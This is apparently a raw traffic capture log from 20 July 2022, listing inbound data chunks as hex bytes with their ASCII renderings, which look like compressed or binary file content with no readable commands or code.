e9 52 c3 3c 88 98 6c ff 00 b5 9e b9 f5 fa 55 55 46 00 80 76 03 df 8a b9 1e 66 c6 e1 ed Data Ascii: '+=?$Gf8]IEOI_zi;VL7x!52'H\|' 40Z!Mdbb1FMOy#E7$3m aW#jP3R Q`#SdR)=E8~sEV=yR<lUUFvf
2022-07-20 17:31:06 UTC	1736	IN	Data Raw: da 82 3d 99 44 c8 e5 81 61 c7 f7 94 f6 f7 a9 4c 09 22 8c 77 e6 99 71 6e 13 18 5c 0c 74 a8 82 b4 6f cf dd c7 14 1c ee f1 25 30 a3 31 04 1c 8e 38 a4 36 d1 b2 e4 27 cc 3b 8f eb 4d 69 1d 5b 23 a1 19 fc 69 f0 cc 57 9e 09 ee 3d ea 8a bd 85 89 02 b1 c9 04 fa 01 56 c2 06 41 91 86 fd 2a a4 93 3a b6 f8 80 c7 f1 0a 9e 0d 42 37 c0 6d c4 93 92 4f 6a 9b 15 19 44 25 85 53 38 c7 bd 45 b5 79 2b 8c 01 de ad 5c 4e 88 8d 87 0e 3d ab 36 22 4b 19 32 42 91 9c 55 03 92 40 dc 72 38 e4 9c 7d 6a 34 65 6e 4e 72 0e 06 29 24 98 95 01 b0 17 d4 0a 48 ca 84 c8 6d dc f5 a0 9e 64 5b 56 27 90 37 f3 cd 4c c7 e5 c0 1c 67 1c d5 74 50 3e 61 80 69 4c dd bf 13 f5 a9 b1 a0 f2 8a 5b 06 9a 10 2c 80 8c 15 03 a5 23 48 ac 9b bd 69 84 aa ae 09 20 1e 72 28 25 92 3e 15 40 7f bb 8e bd 71 55 64 31 1d c0 00 Data Ascii: =DaL"wqn\to%0186';Mi[#iW=VA*:B7mOjD%S8Ey+\N=6"K2BU@r8}j4enNr)$Hmd[V'7LgtP>aiL[,#Hi r(%>@qUd1
2022-07-20 17:31:06 UTC	1768	IN	Data Raw: 47 ad 16 26 c4 25 4f 04 f4 a1 97 77 1c 60 d4 cc 81 57 8e 49 3f 85 0a 80 b1 c8 1c 51 62 2c 54 d8 23 e0 0c fb b5 28 42 5c 05 3d 06 78 f4 a9 19 4b 67 f5 cd 22 90 bc 64 7a 71 d6 80 b3 16 37 1d 4e 69 cc 4f e1 9c d2 71 bb 20 74 a5 56 c3 67 d4 d0 21 59 82 8c 8e 09 eb c5 29 90 f0 06 06 54 1c e3 9c d2 3b 33 67 9e f5 1e e3 b7 38 f9 47 1f 8d 00 3d 65 ec 46 c3 8e 4e 7a 9a 91 1b 73 6f cb 13 8c 73 d2 a3 dc 4f cc a3 a0 c1 c0 e6 82 7e 53 b7 3d 01 e7 af 34 00 e4 93 a8 e3 1d f3 fd 29 a6 44 2b b4 b1 1d c7 cb c5 43 23 e3 1d 8f 43 8a 78 61 b4 80 72 31 de a6 c3 b1 5e e4 47 22 e4 be 1f 3d 31 c7 35 57 73 ab 15 cf 03 8e 2a 47 0c f2 38 04 1c 80 30 3a 8c 54 4d e6 1e 4a 1d b9 fb d8 e3 3e 94 5b 7b e9 63 44 9d ae 3b ed 24 2e 31 d2 9a 64 1b f7 1e 3b fc dd 29 be 5e 17 e6 8d b7 93 42 5a Data Ascii: G&%Ow`WI?Qb,T#(B\=xKg"dzq7NiOq tVg!Y)T;3g8G=eFNzsosO~S=4)D+C#Cxar1^G"=15Ws*G80:TMJ>[{cD;$.1d;)^BZ
2022-07-20 17:31:06 UTC	1824	IN	Data Raw: a5 4a 24 1b 41 04 8e 05 66 c4 d8 7e 4f 15 61 39 ce 0f 4a 0a e7 b6 c5 f1 74 e3 a1 ed 81 53 fd a4 95 40 5c e7 03 9e f5 9a b2 b1 28 30 31 c8 3f 85 2e f2 ca 48 ce 46 31 45 91 6a a3 46 9f 9e 59 40 32 37 39 03 d7 8a 66 64 0a ac 5f 38 e7 07 be 6b 39 e6 3c 00 e7 e5 39 1c 7a f5 a7 8b 83 b4 90 72 73 fc 55 25 7b 5b ee 3a 58 d0 b9 73 1f cd 8f d6 9a 21 0f 1a 93 c3 10 33 43 4d 95 05 89 ce 78 a1 dc 32 e0 3e 3d 7e b4 13 25 cd b0 d9 21 0a e4 63 b7 5a af 2c 7b 97 23 ee 81 83 57 55 d4 c6 4e 79 e9 51 38 02 3c 03 c1 aa d4 99 2b ec 67 ec f2 f0 18 6f 43 eb ff 00 d6 a6 3d b2 03 bb 9d bd 40 a9 e5 c8 6d a0 70 38 c9 a6 b7 60 0e 7e b4 1c ee 2d 15 e4 8c 2c 98 6e 10 8c 8a 04 43 b1 0b b8 71 4b 2f 2d 91 c6 0e 2a 36 93 0e c0 60 1c f0 4d 04 dc 6b c4 ab f2 b8 e0 71 9c f5 a6 18 c2 48 36 bf Data Ascii: J$Af~Oa9JtS@\(01?.HF1EjFY@279fd_8k9<9zrsU%{[:Xs!3CMx2>=~%!cZ,{#WUNyQ8<+goC=@mp8`~-,nCqK/-*6`MkqH6
2022-07-20 17:31:06 UTC	1879	IN	Data Raw: 3c 0a b3 79 ad 69 97 5e 22 fe c9 96 58 91 b6 92 b9 1d 24 c6 06 d3 e8 7a d7 3c 66 d2 b9 e8 4a 54 75 8b d1 a6 97 cd f6 30 fc 2f 04 92 5b dc 5a 4d 12 c6 82 fc 3c 64 02 30 3b a9 5c e7 83 56 bc 41 a5 cf 60 d2 bc e2 4d a1 97 7c a4 64 1d c4 8c 0f 6a 92 ca c6 e7 49 fd e3 4a b3 ca 81 94 4a b9 2c 48 3d fb 74 ef 8a d3 d4 6f e2 d5 61 41 2b b6 c6 68 d7 cb 1f 36 48 39 dc 7d b3 5d f4 9a 70 b3 05 4a 74 63 c9 2d d1 f3 17 c5 0f 86 d2 f8 62 e0 ea 71 23 5c 69 f2 12 76 37 fc b2 62 46 49 c6 38 eb 8a f3 9b 2b b6 b2 be 8e 58 1c 16 0c a5 30 7f 8c 73 fc b8 af aa 3e 2c 78 8a cf 43 4d 57 4e 7b 71 a8 a8 88 83 19 6e 18 10 42 e0 63 a9 2d 8f a8 af 99 7c 45 a1 c7 e1 d9 a2 78 a5 c5 bd ce 64 51 8c bc 20 1e e7 81 9e dd 3f 0a e0 ab cb 0a b6 8b 3f 3e cd a9 42 86 25 4a 8b d5 6a cf 6a be ba 4f Data Ascii: <yi^"X$z<fJTu0/[ZM<d0;\VA`M\|djIJJ,H=toaA+h6H9}]pJtc-bq#\iv7bFI8+X0s>,xCMWN{qnBc-\|ExdQ ??>B%JjjO
2022-07-20 17:31:06 UTC	1895	IN	Data Raw: b2 8d 59 af 50 a9 10 6f 53 80 42 b3 31 c9 c9 e7 dc e7 eb cf 80 bf 1e fc 11 f1 8b e2 65 ce 9b a3 f8 5e 2f 05 6a b3 da c9 25 a5 f7 9c 92 5d 5c 85 c8 78 d5 70 02 30 52 cd 93 91 85 35 f9 df 23 ca 66 91 9d c2 46 b9 db 11 20 e3 3f 5e 78 fa d7 4b e0 bf 16 5e f8 0e f0 eb 1a 25 d7 f6 7e b4 6d e5 b6 b5 bf 55 52 d6 e2 55 2a cc b9 04 06 da c4 03 82 00 35 34 a7 69 27 d8 e9 a3 8a a9 46 3c 90 77 47 b7 78 5b f6 78 d0 7e 32 7e d0 be 2c b8 d7 af 2e b5 04 bd bf 92 3d 32 69 0e d0 e6 dd 59 56 49 40 3f 30 6d bb b8 23 ad 7a bf c4 dd 2f e1 85 cf 83 bc 6f e1 73 e2 4b 69 75 fd 03 47 b9 10 69 ea 09 13 4e 88 ee 15 5b a3 b0 2a aa 54 60 8d d8 af 84 34 0f 12 78 8b e1 c6 a9 04 ba 4e b9 79 6f 3c 6e 52 09 84 ad f7 36 95 60 09 24 6d 20 fd 7d ea 7b 1d 75 a6 d5 a2 10 3c d2 dd 86 12 34 db 8b Data Ascii: YPoSB1e^/j%]\xp0R5#fF ?^xK^%~mURU54i'F<wGx[x~2~,.=2iYVI@?0m#z/osKiuGiN[T`4xNyo<nR6`$m }{u<4
2022-07-20 17:31:06 UTC	1935	IN	Data Raw: 61 0b db da 9d b1 ca ec c4 90 ec 06 76 8f af 35 c3 29 dd 59 95 28 46 2a cd ea 67 df 78 1f 44 4f 19 cf 71 9f b6 e9 b0 a2 c5 69 6d 20 ff 00 43 b5 00 05 59 44 9c 15 62 aa 0e dc 9f c6 ae 5d 78 67 47 97 43 f1 22 78 67 6d b8 b6 78 ae 24 d4 e6 25 60 4c 32 86 48 d4 e7 78 39 24 e3 a5 60 59 e8 9a 7b d8 5e dc eb ba 85 cc 62 6b b3 38 b4 07 6c 20 29 f9 46 07 07 22 ba 48 6e f5 49 7c 0b 7f aa e8 da 58 b9 d3 6d 2f 96 f4 c5 79 85 8f ca 58 c2 ed c7 18 dc 46 ec 73 9f 6a 88 d3 d2 e6 2a 30 8f 42 f4 37 32 2d 98 9e c2 08 75 5b db db c6 b7 37 91 c8 b1 2f 96 4e e6 68 db 18 29 b8 70 46 09 af 16 d4 74 7b 87 f1 06 dd 5e 78 ec a7 bd 0b 79 f6 60 db 8b c4 ed 92 78 e0 0c f2 45 45 61 f1 02 f3 4c 8d 22 32 cd 77 a7 06 25 22 00 22 c0 a7 24 ec e3 85 24 d7 33 75 e2 86 d4 f4 3f b0 dc 03 24 69 Data Ascii: av5)Y(FgxDOqim CYDb]xgGC"xgmx$%`L2Hx9$`Y{^bk8l )F"HnI\|Xm/yXFsj0B72-u[7/Nh)pFt{^xy`xEEaL"2w%""$$3u?$i
2022-07-20 17:31:06 UTC	1958	IN	Data Raw: eb d9 3e 0f 78 2a 5d 37 49 9f c6 1a e4 bf d9 fa 15 c1 7b 4b 69 23 89 a4 cb 01 b9 8e 46 06 40 f4 e8 43 75 af 52 9c a7 2d 19 db 1f 77 e3 3d 0e 2f 0d 19 90 0b 3b fb 77 b5 4b 6f 2e 38 b2 16 55 23 81 91 dd c8 e4 fa 7b d7 1d e3 8d 70 69 fa 26 a1 68 2e 6d c4 30 ee 32 49 91 f3 36 3e 54 56 c7 5c f0 4f 7a cc f8 85 f1 3b 44 b7 d5 5e d7 48 4f b3 45 04 81 a4 b9 2d 97 b8 65 f9 43 64 63 1c 74 1d 7d 49 af 2f f1 ff 00 8f 97 c6 b6 f6 56 96 d0 2c 56 56 b9 71 c7 cd 3c 80 ee 72 d8 c7 4c d2 9c e3 15 6b 85 4a c9 46 c8 f3 ad 5e fa 5d 42 e8 48 d9 cc 92 17 da cb 97 52 48 21 78 03 d3 ad 5c b3 d2 5e 0b 70 d3 ee 8f 6b 10 ec 5b 32 a9 c6 31 b4 7e 8d d2 9b ad 6b 5f 62 b8 36 7a 57 c9 6b 10 41 71 74 54 79 97 2e 47 cc 41 3c 05 27 90 00 c8 1d cd 57 fb 78 96 37 2e 5a 25 90 02 fd d9 80 e9 f3 Data Ascii: >x*]7I{Ki#F@CuR-w=/;wKo.8U#{pi&h.m02I6>TV\Oz;D^HOE-eCdct}I/V,VVq<rLkJF^]BHRH!x\^pk[21~k_b6zWkAqtTy.GA<'Wx7.Z%
2022-07-20 17:31:06 UTC	1974	IN	Data Raw: 14 ae 70 cc 49 c6 14 1e 01 c9 07 ad 35 4d cf a1 df 1a 71 9c 39 d9 f7 4f c2 ff 00 8c be 1d f1 27 c2 9b 74 5d 22 e3 42 d1 02 0d 32 d6 50 15 90 95 1b 14 92 31 b4 96 c1 c1 04 e5 b9 ae 8b c4 9e 1f 87 52 f0 ae 8d a7 cf a3 37 89 1e 09 31 23 2c ca af 6f 20 56 21 9d 46 30 01 ec 08 c5 78 37 c3 d3 ab 69 7e 1e 9f c3 f7 1a 15 d5 be 9d a6 5a ac d1 dc c9 67 e5 5b ac 9b 8b 39 0c 49 0c c1 b9 2c 73 90 17 18 ea 7d 27 e1 3e b9 02 e8 f7 e3 57 8c 98 ae ee 60 f9 96 46 0f f3 44 7f 79 81 c9 fb dc 82 4e 7a d7 bb 87 a9 cf 68 38 9d 72 9a 94 79 5a 3e 39 f8 93 f0 8a 1d 13 58 d4 75 9b dd 4a da f2 ee 17 69 fe c2 c4 1f 3a 62 c5 51 df ae e1 92 09 ef 8e f5 e5 c3 ed da f6 a1 3c 6e 92 cf 3c 2b 6d 14 d2 c3 21 29 96 39 f3 4b 0c 0c 6e 05 76 f5 eb 5e b1 ac 5e d9 f8 63 e2 26 b8 35 89 26 b9 12 5c Data Ascii: pI5Mq9O't]"B2P1R71#,o V!F0x7i~Zg[9I,s}'>W`FDyNzh8ryZ>9XuJi:bQ<n<+m!)9Knv^^c&5&\
2022-07-20 17:31:06 UTC	1998	IN	Data Raw: 0a 5a 37 18 cf 21 43 73 9c 1e 09 ef 5f 4e 7e d5 de 25 d2 7e 0d fc 2f b1 f8 67 e0 ff 00 10 fd af 53 d4 af db fb 61 94 10 e2 08 f2 ac a4 0e 15 43 0c 6d e7 9a f9 cf c2 5e 0b b9 d6 75 2b 2d 56 d2 33 69 61 03 ac 42 f8 c7 f2 ed 1c b3 82 70 31 bb 20 f5 cd 71 e3 27 ed 24 a9 53 5b 17 28 fb 46 d7 62 e6 a7 f0 9b c4 a9 a5 db ea da 7d b2 ce 97 33 79 12 da af 2e 85 9b 86 db d4 a8 1d f3 cd 7d 2b f0 ff 00 e0 8d ce b1 e0 9f b4 d8 01 7b 67 a6 c2 d1 a8 84 82 c5 c2 e0 9d bc 9e 4a b5 69 fc 1b d3 ed 6e 34 1b db 2d 52 de 57 d2 2f 60 47 d3 b5 0b a0 6d 9a 5b bd db 90 2b 37 0b 1b 29 20 9c 9c ed 27 03 20 54 da 5c d7 1f 0f b5 5b 7d 53 c2 da ea 69 c0 4b 71 1d c6 95 78 ad 1f 9b 02 30 3e 69 cf 0c 49 27 18 c7 07 f1 a8 fa 9f 2e bd 0e 8c 3c 95 35 68 ea 79 a6 b5 f0 e2 d6 d2 60 b7 ee 2d 2d Data Ascii: Z7!Cs_N~%~/gSaCm^u+-V3iaBp1 q'$S[(Fb}3y.}+{gJin4-RW/`Gm[+7) ' T\[}SiKqx0>iI'.<5hy`--
2022-07-20 17:31:06 UTC	2038	IN	Data Raw: 32 c7 81 c1 e9 55 4e 0a 2e c7 dc 65 f0 78 8a 2e d3 4b e4 75 7a 1f c3 7f 87 3a bc 3e 13 f1 55 96 97 6d a5 df c9 75 3c 56 57 0b 1a 98 e6 b8 68 64 0c 65 59 06 40 06 37 c2 82 0e 71 c9 cd 7c 47 ae 7c 2f f1 ae b5 e2 7d 53 4b 97 44 9a ce ed f5 99 2d 63 b3 dc b1 c5 71 70 b2 0e 23 62 02 a6 e5 6c 86 24 af cc 30 78 af b6 7c 4b e2 8d 2f 52 b3 9a cf 51 d1 a2 d5 2d 74 d2 ba 94 1a 7b 1f f5 92 46 7e 49 01 e8 08 1d 57 1d 3f 13 5e 1d f1 a3 e3 85 96 ad e0 5d 02 d2 0d 3e 28 2e ec ee 0c ab fb d2 7c 87 38 0c 40 24 95 18 69 36 fa 61 71 d3 9f a0 fa d4 1c 23 1e a8 f3 71 d8 5f 62 ee d9 e1 1f 10 b5 cb 3d 37 c6 5a a3 c6 44 57 d6 fa 85 c9 49 4a e2 4f 9a 46 dd b1 bf 87 f5 cd 71 97 3e 34 d3 7c 35 75 f6 d1 24 da 85 c8 88 c8 a0 b3 39 0c c4 31 2c d9 ef 8c 1f 62 7e b5 af f1 0a 29 35 3f 1d Data Ascii: 2UN.ex.Kuz:>Umu<VWhdeY@7q\|G\|/}SKD-cqp#bl$0x\|K/RQ-t{F~IW?^]>(.\|8@$i6aq#q_b=7ZDWIJOFq>4\|5u$91,b~)5?
2022-07-20 17:31:06 UTC	2054	IN	Data Raw: a4 72 bc e7 39 ef ef e9 4e a5 6e 65 cd 23 d1 8d 17 8a 5c f6 d0 f9 db 59 f8 7d aa 45 79 34 70 44 37 44 c0 05 63 f3 80 3e f6 40 f4 3d fa 57 53 f0 7f 4a 84 eb d6 d1 6a 49 12 5c da ee 95 63 91 80 dc c1 7e 55 e4 e0 82 7f c8 af 6a d0 2e ed e5 d4 2d af 2e 2d e2 df e5 b4 2f 2b 47 81 32 92 bf 28 f7 c1 eb 53 78 df 49 d0 3c 55 e1 eb cb 0b 6d 12 0d 2a 49 84 4e b2 45 b5 e6 f2 c1 c9 2a 46 08 39 3c d5 c1 c6 a4 6e 99 97 d5 1d 39 6c 7c b9 e2 77 dd e2 ad 5f ed 70 6c 9e da 69 23 31 c5 8f dd 28 62 02 8c 71 91 d0 f6 ae 29 f4 e9 34 9b af ed 68 86 cb 1b 97 36 f2 02 b9 28 c0 e0 33 0f 7f d2 bd cb c4 3f b3 ed c6 8b e2 1b 74 87 53 8f 51 d2 a5 23 cd b9 0c 55 97 03 3b 18 75 dd db ad 72 1e 23 d0 e6 d3 75 5f b3 4b 1f d9 f4 c9 64 30 c0 ac 33 81 8e 5b fd e3 eb fa 51 1d 0f 3e 54 64 e4 b9 Data Ascii: r9Nne#\Y}Ey4pD7Dc>@=WSJjI\c~Uj.-.-/+G2(SxI<UmINEF9<n9l\|w_pli#1(bq)4h6(3?tSQ#U;ur#u_Kd03[Q>Td
2022-07-20 17:31:06 UTC	2078	IN	Data Raw: c5 da e0 8e 57 8c d4 ea 3e 51 9c 10 73 54 6d dd 64 7e 5c 64 0e 71 53 87 31 e0 86 c9 c9 eb d3 06 be 82 fd f7 33 ba 2c 02 38 c5 4c 8f f2 f5 ca f7 07 15 02 b1 0a 41 00 8c d2 64 0c 60 f1 e8 29 e9 25 ca f5 46 8a 56 d8 e8 6d fc 57 7b 1f 87 db 40 09 18 d2 a7 99 67 96 30 a3 73 b2 82 17 2c 79 c6 09 e0 11 52 a5 e9 f2 d5 a2 39 5e 01 5e c7 d7 8f f0 ae 70 a1 2b bd 48 5d b9 e0 f5 a7 5a 5d 04 90 33 13 b9 47 07 d2 be 23 38 e1 aa 58 b5 ed b0 de ed 4f c1 ff 00 91 d5 1a ef a9 d5 41 7a f1 48 2e ed 42 83 14 8a 16 36 eb d3 d2 bb 1d 3f e2 5e a5 6a d7 17 01 33 24 a5 77 82 78 e3 d0 74 af 3d b2 bb f9 81 3b 4b 9f 9b 73 74 27 1f ce ae ad c4 bb 63 56 3f dd 0c 0f 5e 95 f9 36 23 0f 5b 09 51 d3 aa ac d7 73 b6 9d 59 47 e1 3e 9e f8 73 e3 d5 90 db 5f ea 38 9e d6 65 f2 e7 b6 ba 5f f4 62 37 Data Ascii: W>QsTmd~\dqS13,8LAd`)%FVmW{@g0s,yR9^^p+H]Z]3G#8XOAzH.B6?^j3$wxt=;Kst'cV?^6#[QsYG>s_8e_b7
2022-07-20 17:31:06 UTC	2110	IN	Data Raw: bc 5e d6 da be a3 1c b6 1a 11 b8 44 b4 1e 4e d3 71 20 51 c2 03 9f 94 10 09 38 e0 8c 57 df 3a 97 8c 3c 2b e2 2d 03 4b d1 6f 3c 13 a1 f8 72 1b 8b 78 2f 58 c9 e5 14 d9 b7 70 8f e5 50 43 6d 1d cf 5a e5 b4 18 7c 23 71 a5 d9 6a 9a e6 9c 2e 2d 49 7f b3 e8 d1 48 1f cc 52 db 8e d2 b8 08 99 e9 df 23 af 6a ec fa b7 2b b4 19 ac 70 b0 8c ae de 84 1f 0d 3c 33 73 e0 bf 01 ea 1e 37 f1 2d dc d6 96 b7 16 ff 00 2a e9 fb 85 d5 c4 6b 2e 5a 24 51 82 5a 4c 05 2d d3 19 e3 bd 61 cb e1 3f 10 6b 49 2f 88 05 d8 d1 f4 8d 76 16 9e c3 4c 89 83 25 b9 dc 41 f3 32 49 0f 80 5f 03 27 9e c7 35 de f8 93 e3 05 f7 8e 35 eb bd 08 7d 87 4d f0 75 9c 96 e7 4f 58 71 99 40 50 7e 66 e7 a3 7a 63 f1 ae 67 c5 ef 75 a5 eb 07 52 b8 82 29 7c 3f 2b ab da 0b 75 61 1a a2 e3 2e ae 0e 11 9b a3 71 92 3f 3a ed 58 Data Ascii: ^DNq Q8W:<+-Ko<rx/XpPCmZ\|#qj.-IHR#j+p<3s7-*k.Z$QZL-a?kI/vL%A2I_'55}MuOXq@P~fzcguR)\|?+ua.q?:X
2022-07-20 17:31:06 UTC	2149	IN	Data Raw: ae ae e6 27 b5 98 ec dd 1b 15 1b 4f 1d fd 6b 96 be 48 45 d4 85 4b 79 9f 76 45 f5 6e e7 f1 35 d1 41 b8 be 6b ea 78 b8 9a 76 82 6f 72 da 4c 93 43 b4 64 91 ce ef 4f 6a a3 78 ad 22 12 23 ce 73 9c b0 e2 88 6e 4c 0c 14 91 1a 83 82 3d 71 de ad dc 9c c2 59 39 5c 80 7d cf 7a fd b7 21 cc fe bf 87 50 9b f7 e3 f9 18 52 97 36 e7 3d 90 38 3c 63 8f ff 00 55 46 59 fc c1 cf c9 ef 56 af a3 02 e3 2a 30 3a e3 d6 a1 92 02 ea 0e 08 cf 6c d7 d3 b3 62 5b 7f dd dd 7e ed bc bf 3b 11 93 db 23 9f cb 15 a3 22 bb 2e e8 4e c6 00 1c 8e 84 1e d5 90 88 d2 c6 62 07 12 f5 5c fa 0e e3 de b5 ec 67 f3 e1 0d 80 15 b0 c0 7a 1f 4a fc a3 89 b0 de c7 15 1c 4c 34 53 5f 8a 26 6b 4b a2 39 6d 92 6e 1c 79 12 36 00 23 bb 1f 5a a7 7b 6d 25 8c 9e 53 02 d2 2e 13 23 a1 63 ce 7e 98 ad d7 8d 2e a3 1b f1 8c ee Data Ascii: 'OkHEKyvEn5AkxvorLCdOjx"#snL=qY9\}z!PR6=8<cUFYV*0:lb[~;#".Nb\gzJL4S_&kK9mny6#Z{m%S.#c~.
2022-07-20 17:31:06 UTC	2157	IN	Data Raw: 0c 49 61 c8 fc 6a 55 98 6f c0 62 18 74 60 79 1f 4a ad 24 6c 19 d8 ff 00 10 c5 2a e1 94 64 6c c0 c6 7d 6a 5a e6 8f 2c b5 5f ca 3b db 63 a7 d1 fc 49 2d 84 c8 26 cd c4 1b 86 0e 79 5c 0c 7e 55 d7 d8 6b cc b3 19 ad 2e 7f 7b 23 87 68 e3 6f e1 1d b1 e9 5e 5e 14 48 b9 56 f9 c0 c6 6a 7d 3f 54 b8 d2 6e 92 78 38 95 72 33 8e 0e 7d 6b e1 b3 4e 18 a5 89 bd 5c 2f bb 2e dd 1f f9 1a 42 b3 8e e7 d2 fe 12 f8 84 ba e7 99 61 a9 c5 fe 8c ae ae 5a 16 f2 df 68 c7 0a c3 9e 70 3a e6 ba 9b eb 2b 6d 22 e9 2f fc 08 d2 69 8a c8 0d d5 bd dc ab 34 a5 49 2c 0a b1 51 c3 13 9d bd b0 07 6a f9 9f 48 f1 6a cd 70 a2 e3 fd 1a e1 b0 44 91 91 b0 fb 93 db e9 5e 8b a2 78 a5 e3 9a 35 d4 6e 59 e1 8c 2b c5 24 5d f3 d4 02 3e f0 f4 af cb f1 58 3a d8 29 fb 3a d1 b3 3d ea 18 a6 d5 db d4 f6 6f ed 16 f8 84 Data Ascii: IajUobt`yJ$l*dl}jZ,_;cI-&y\~Uk.{#ho^^HVj}?Tnx8r3}kN\/.BaZhp:+m"/i4I,QjHjpD^x5nY+$]>X:):=o
2022-07-20 17:31:06 UTC	2215	IN	Data Raw: fb 62 88 96 9d 42 9c 2e 49 c6 06 7a 8a e7 ed 2d 63 92 6f 35 2d 84 57 92 46 d1 4b 1c 78 22 14 3e 9f 87 1f 4a f5 0f 85 fa 85 8e 87 e1 eb 2b 2d 5a 3b c7 d0 f4 d7 33 5b cc b9 54 69 08 da 0b 30 e4 f3 fc 20 8a f2 3d ab 73 b5 8c 70 ea 32 95 da 32 fc 35 36 a7 e1 cb 1d 66 cf c5 3a 75 f6 a3 ad dc 2b 4f 00 b5 99 8a da a0 5c 17 65 07 03 2d db 19 1e b5 d1 7c 01 b3 85 af 1e 5d 46 71 26 d9 95 99 64 6c 7c bd 77 31 fe 2e b5 85 27 c5 48 3c 39 27 89 24 48 5b 50 9f 55 89 60 d3 65 39 05 23 24 b3 13 f5 27 bd 65 f8 46 48 f4 d8 63 b9 bb d5 1b 4e 76 0a c5 56 3d c0 b1 5e 95 d3 3b 38 de 47 a1 0b 45 ee 7b 27 c4 76 b0 d3 ef ac e0 b2 bd f3 ed ae ae 0d ca 79 7f 21 61 19 ca b8 3c e0 f0 40 38 19 18 af 17 fd a4 fe 22 f8 a6 eb 56 3a 45 fd cd c4 25 f4 e8 ed a5 0d 21 3b ad 57 fd 5c 6c a7 24 Data Ascii: bB.Iz-co5-WFKx">J+-Z;3[Ti0 =sp2256f:u+O\e-\|]Fq&dl\|w1.'H<9'$H[PU`e9#$'eFHcNvV=^;8GE{'vy!a<@8"V:E%!;W\l$
2022-07-20 17:31:06 UTC	2247	IN	Data Raw: ce 82 43 24 65 b7 ac 87 aa 11 d3 15 95 e7 24 d7 32 38 94 34 c6 1f 95 48 23 78 0d 90 7d f0 38 c7 a5 52 ba d4 f2 71 94 e2 d7 b6 4f 53 97 1a 8d da dc 19 4c ef e6 64 a1 60 79 2a 0f 4c d7 49 06 be af 6b e4 8b 96 8f 2d bc a8 3b 8f 5c fe 75 cf 34 6d 71 e6 10 c2 4d 8c db 9b 18 1d 78 e2 a0 48 59 58 91 c3 63 9c 57 44 a2 a5 b9 c3 46 b4 e9 b7 ae e7 5b 6d e2 0b 55 98 2c c5 a5 da a4 ab 1e b8 ce 45 4d 69 ad 24 ac 92 c5 e5 12 18 96 8d 89 20 83 ea 33 d6 b8 b6 b7 98 b0 7d b8 3b 0f 27 eb 4b 6f be d6 62 40 3d c0 38 cf 4e b5 2e 8a 6b 43 65 8b 95 ee d9 de 5f 6b 0c 90 b8 44 8b 71 cb 95 24 93 b4 2e 57 bd 65 59 78 82 46 5f 2a 34 fd f4 b3 ab 48 dd 49 55 18 0b e9 80 3d 06 7d eb 0a 69 e5 bc 90 34 01 91 9a 13 91 ea 15 40 24 fd 71 41 b9 55 b8 b7 7b 41 20 3b 7e 7c 8e 01 c7 38 3c 52 f6 Data Ascii: C$e$284H#x}8RqOSLd`yLIk-;\u4mqMxHYXcWDF[mU,EMi$ 3};'Kob@=8N.kCe_kDq$.WeYxF_4HIU=}i4@$qAU{A ;~\|8<R
2022-07-20 17:31:06 UTC	2270	IN	Data Raw: de 3d d1 cd 52 9c a9 bb 49 0d 8f 05 80 24 f7 ed 52 c6 43 b2 7b 8e f5 5c 36 19 1c 00 4f e3 ce 7f 1a b0 bb 46 0f 42 2b 64 d3 57 44 f4 b8 d9 17 e6 c8 ec 79 34 d9 5c 98 c7 f8 53 ca ee e9 d8 54 52 37 ca a3 f1 a0 49 8e 5e 78 20 1c 53 1c 07 7e 38 1e 82 a6 45 d9 92 3a b0 a8 42 91 c7 b6 28 0b a1 bb 80 6c 80 41 f6 a9 61 9c 32 95 39 eb 48 aa 4f 52 30 29 d1 80 af c0 04 11 9c 9a 0b 8b 06 88 f9 80 ab f1 4e 92 20 cc 49 27 9e f5 2a fc dd 40 a9 3c 9c a6 09 f7 a9 3a 55 99 49 b0 bc 60 1c 28 e7 1d 2a bc 91 6e 66 0a 33 ef 5a 4d 80 ac 33 d7 83 50 3a aa b1 c0 e4 f4 a7 72 25 16 b7 33 5e 36 45 c1 c7 3e d5 0b 45 86 c8 27 f1 ab d2 a1 18 04 0c e7 ab 74 ff 00 f5 d3 19 01 c8 1f 52 0f 61 48 8b 95 80 1d e4 6f 97 1f c3 eb 53 88 f6 28 21 c9 00 e4 67 e9 de 9a 00 2a 47 f0 9c 63 e9 da 94 32 Data Ascii: =RI$RC{\6OFB+dWDy4\STR7I^x S~8E:B(lAa29HOR0)N I'@<:UI`(nf3ZM3P:r%3^6E>E'tRaHoS(!g*Gc2
2022-07-20 17:31:06 UTC	2271	IN	Data Raw: 8a bc 4c 79 74 3b a5 e6 29 96 75 5e b1 b0 20 9f d6 9d a7 cd a7 43 70 20 bd b1 68 a5 c1 ca 99 58 29 3d 8a 9c e3 f0 ad 39 ad da 3b 74 d8 e7 70 c0 19 3d aa a5 e2 89 ed 44 77 88 1d 15 8e 38 fd 73 d7 3f 8d 79 74 f8 82 ad 78 fb 3a d2 b3 fe 68 e8 fe 6b a9 34 71 0f ed 16 a3 d1 a0 95 4b cb 6f 1a 1c 29 0c 0b 1e be f9 a9 64 f0 fd 9c 72 12 13 7a 91 90 41 39 35 9b 0d dd de 8c 15 9b 75 d6 9e d8 0a 58 e5 94 7b e3 8e 3e 95 bf 69 2c 53 2b 49 0b 19 23 c0 39 cf 42 6b 8f 13 8e cd 70 eb 9a 35 9b 8b d9 ad bf af 23 b1 f2 cb e1 33 67 d1 21 f2 fa 49 d0 11 8e 80 1e df 5a ac ba 1d ac 7f 28 32 ee f7 15 d3 35 9a 49 6f 2b 23 e5 8e 09 52 49 1f 86 2a b3 5a 3b f2 83 85 5d ac 49 c7 4f 4a e3 8e 7d 99 47 5f 6e cc 9c 64 ba 18 89 a5 44 1f 02 53 8c 63 0c 3a 1a 64 9a 5e c8 e4 48 ae 55 c2 1c b4 Data Ascii: Lyt;)u^ Cp hX)=9;tp=Dw8s?ytx:hk4qKo)drzA95uX{>i,S+I#9Bkp5#3g!IZ(25Io+#RI*Z;]IOJ}G_ndDSc:d^HU
